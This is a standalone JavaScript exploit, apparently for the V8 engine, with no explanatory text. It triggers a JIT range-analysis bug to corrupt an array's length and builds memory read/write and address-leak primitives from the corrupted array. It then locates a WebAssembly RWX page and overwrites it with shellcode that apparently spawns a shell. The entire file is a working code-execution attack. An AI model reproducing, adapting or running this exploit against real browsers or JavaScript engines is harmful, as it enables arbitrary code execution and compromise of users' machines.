let CONVERSION = new ArrayBuffer(8);
let CONVERSION_U32 = new Uint32Array(CONVERSION);
let CONVERSION_F64 = new Float64Array(CONVERSION);

let ab = new ArrayBuffer(100);
let wasm_bytes = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 1, 127, 0, 96, 0, 0, 2, 25, 1, 7, 105, 109, 112, 111, 114, 116, 115, 13, 105, 109, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 0, 3, 2, 1, 1, 7, 17, 1, 13, 101, 120, 112, 111, 114, 116, 101, 100, 95, 102, 117, 110, 99, 0, 1, 10, 8, 1, 6, 0, 65, 42, 16, 0, 11]);

let wasm_inst = new WebAssembly.Instance(new WebAssembly.Module(wasm_bytes), {
  imports: {
    imported_func: function (x) {
      return x;
    },
  },
});

let wf = wasm_inst.exports.exported_func;

function tohex64(x) {
  return (
    "0x" +
    x[1].toString(16).padStart(8, "0") +
    x[0].toString(16).padStart(8, "0")
  );
}

function u32_to_f64(u) {
  CONVERSION_U32[0] = u[0];
  CONVERSION_U32[1] = u[1];
  return CONVERSION_F64[0];
}

function f64_to_u32(f, b = 0) {
  CONVERSION_F64[0] = f;
  if (b) return CONVERSION_U32;
  return new Uint32Array(CONVERSION_U32);
}

function print(s) {
  console.log(s);
}

function gc() {
  for (let i = 0; i < 0x10; i++) new ArrayBuffer(0x800000);
}

function trigger(a) {
  let minusZero = -0;
  let p = -0x80000000;

  if (a) {
    minusZero = -1;
    p = 1;
  }

  p = minusZero - p;
  p = p + 0;
  p = Math.max(-4, p);
  p = -p;
  p += 1;
  p = Math.max(p, 1);
  p += 1;
  p >>= 1;
  p -= 2;

  let arr = Array(p);
  let arr_two = [1.1, 2.2, 3.3];
  arr.pop();

  return [arr.length, arr, arr_two];
}

function pwn() {
  for (let i = 0; i < 0x10000; i++) {
    trigger(true);
  }

  gc();

  let a = trigger(false);
  let o = a[1];
  let corrupted_arr = a[2];

  let c = [0.1, 0.2, 0.3, 0.4, 0.5];
  let d = [wf, wf, wf, wf, wf];
  let e = [0.1, 0.2, 0.3, 0.4, 0.5];

  o[16] = 0x100000;

  let ci = 16;
  let di = 29;
  let ei = 41;

  c_elem = [f64_to_u32(corrupted_arr[ci])[1], 0];
  d_elem = [f64_to_u32(corrupted_arr[di])[0], 0];
  e_elem = [f64_to_u32(corrupted_arr[ei])[1], 0];

  print("c_elem addr : " + tohex64(c_elem));
  print("d_elem addr : " + tohex64(d_elem));
  print("e_elem addr : " + tohex64(e_elem));

  corrupted_arr[ci] = u32_to_f64([0, d_elem[0]]);

  function addrOf(o) {
    d[0] = o;
    return [f64_to_u32(c[0])[0], 0];
  }

  function read32(o) {
    o[0] |= 1;
    corrupted_arr[ei] = u32_to_f64([o[0] - 8, o[0] - 8]);
    return [f64_to_u32(e[0])[0], 0];
  }

  function read64(o) {
    o[0] |= 1;
    corrupted_arr[ei] = u32_to_f64([o[0] - 8, o[0] - 8]);
    return f64_to_u32(e[0]);
  }

  function write64(o, v) {
    o[0] |= 1;
    corrupted_arr[ei] = u32_to_f64([o[0] - 8, o[0] - 8]);
    e[0] = u32_to_f64(v);
  }

  wasm_addr = addrOf(wf);
  print("wasm addr : " + tohex64(wasm_addr));

  wasm_addr[0] += 12;
  tmp = read32(wasm_addr);
  print("SharedFunctionInfo addr : " + tohex64(tmp));

  tmp[0] += 4;
  tmp = read32(tmp);
  print("WasmExportedFunctionData addr : " + tohex64(tmp));

  tmp[0] += 8;
  tmp = read32(tmp);
  print("WasmInstanceObject addr : " + tohex64(tmp));

  tmp[0] += 0x68;
  tmp = read64(tmp);
  print("rwx addr : " + tohex64(tmp));

  let rwx_addr = tmp;
  let sc = [0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x1697268, 0x24348101, 0x1010101, 0x6a56f631, 0x1485e08, 0x894856e6, 0x6ad231e6, 0x50f583b];

  let ab_addr = addrOf(ab);
  print("ArrayBuffer addr : " + tohex64(ab_addr));

  let ab_back = ab_addr;
  ab_back[0] += 16 + 4;

  write64(ab_back, rwx_addr);

  let uu = new Uint32Array(ab);

  for (i = 0; i < sc.length; i++) {
    uu[i] = sc[i];
  }

  wf();
}

pwn();